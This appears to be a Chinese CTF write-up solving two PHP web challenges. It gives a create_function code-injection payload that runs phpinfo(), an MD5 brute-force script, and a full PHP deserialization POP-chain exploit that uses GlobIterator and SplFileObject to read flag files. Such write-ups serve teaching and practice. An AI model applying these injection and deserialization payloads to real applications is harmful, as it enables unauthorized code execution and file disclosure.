前言
准备期末考去了,不能花太多时间,就看了下php的题
(怎么一天过去了)
laogong的wp:https://ycznkvrmzo.feishu.cn/docx/G17xduF91omE5nxgkgfc1W93nqb
Web
what’s my name
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
else{
echo("YOU Do Not Know What is My Name!");
}
?>
题目版本php7.3.4
代码一行行看下来,首先是正则匹配:
判断 $d0g3
是否以匹配以include
结尾,并且前面有以每5个字符为一组进行重复的字符串的情况(?实际测试好像又是另一回事)
然后进行比较
本地测试一下:
<?php
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
$sorter='strnatcasecmp';
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo(urlencode($miao));
echo "<br>";
echo(substr($miao, -2));
var_dump(strlen($d0g3)==substr($miao, -2));
echo "<br>";
var_dump($miao===$name);
if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
@$miao=create_function('$a, $b', $sort_function);
}
else{
echo('Is That My Name?');
}
}
可以发现每执行一次php脚本生成匿名函数都会增加一次$miao
的计数,注意$miao
的开头是不可见字符%00
接下来就是命令执行create_function的部分,strnatcasecmp
可以直接参考:https://www.cnblogs.com/-chenxs/p/11459374.html
最终payload:
?d0g3=include'"]);}phpinfo();/*&name=%00lambda_25
服务端有延迟,不知道到底执行了多少次,我这里直接爆破
easy_unserialize(复现)
pop链+原生类
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;
public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}
public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}
public function __get($arg1)
{
$this->ll2->ll2('b2');
}
public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}
class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}
if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>
链子:You::__wakeup -> Luck::__unset -> Good::__isset -> To::__set -> Luck::__get -> To::__call -> Luck::__toString -> Flag::__invoke
接下来就是满足条件
首先是md5(md5($this->md5)) == 666
,即开头为666
爆破一下:
import hashlib
def md5_hash(text):
return hashlib.md5(text.encode()).hexdigest()
target_prefix = "666"
found = False
for i in range(1000000):
# 将当前数字作为字符串进行MD5哈希两次
text = str(i)
hash1 = md5_hash(text)
hash2 = md5_hash(hash1)
# 检查哈希结果的开头是否为目标前缀
if hash2.startswith(target_prefix):
print("找到匹配的字符串:", text)
found = True
break
if not found:
print("未找到匹配的字符串。")
结果为213
然后是preg_match("/a-zA-Z0-9~-=!\^\+\(\)/"
,随便找一个可用字符给gg2就行
接下来是urldecode($this->arg1)===base64_decode($this->arg1)
,直接数组绕过就行
最后就是原生类调用,GlobIterator找文件路径,SplFileObject读取文件
emmm,死在了array_walk不会用
后日谈:直接在Flag类里面写一个对象名为原生类类名,值为要读的文件即可
exp:
<?php
class Good
{
public $g1;
private $gg2 = "%ff";
}
class Luck
{
public $l1;
public $ll2;
private $md5 = 213;
public $lll3;
}
class To
{
public $t1;
public $tt2;
public $arg1 = array();
}
class You
{
public $y1;
}
class Flag
{
public $GlobIterator = "/*f*";
}
$a = new You();
$a->y1 = new Luck();
$a->y1->lll3 = new Good();
$a->y1->lll3->g1 = new To();
$a->y1->lll3->g1->tt2 = new Luck();
$a->y1->lll3->g1->tt2->ll2 = new To();
$a->y1->lll3->g1->tt2->ll2->arg1 = new Luck();
$a->y1->lll3->g1->tt2->ll2->arg1->l1 = new Flag();
echo (urlencode(serialize($a)));
也可以写成$a->y1->lll3->g1->tt2->ll2->arg1->l1->SplFileObject="/FfffLlllLaAaaggGgGg";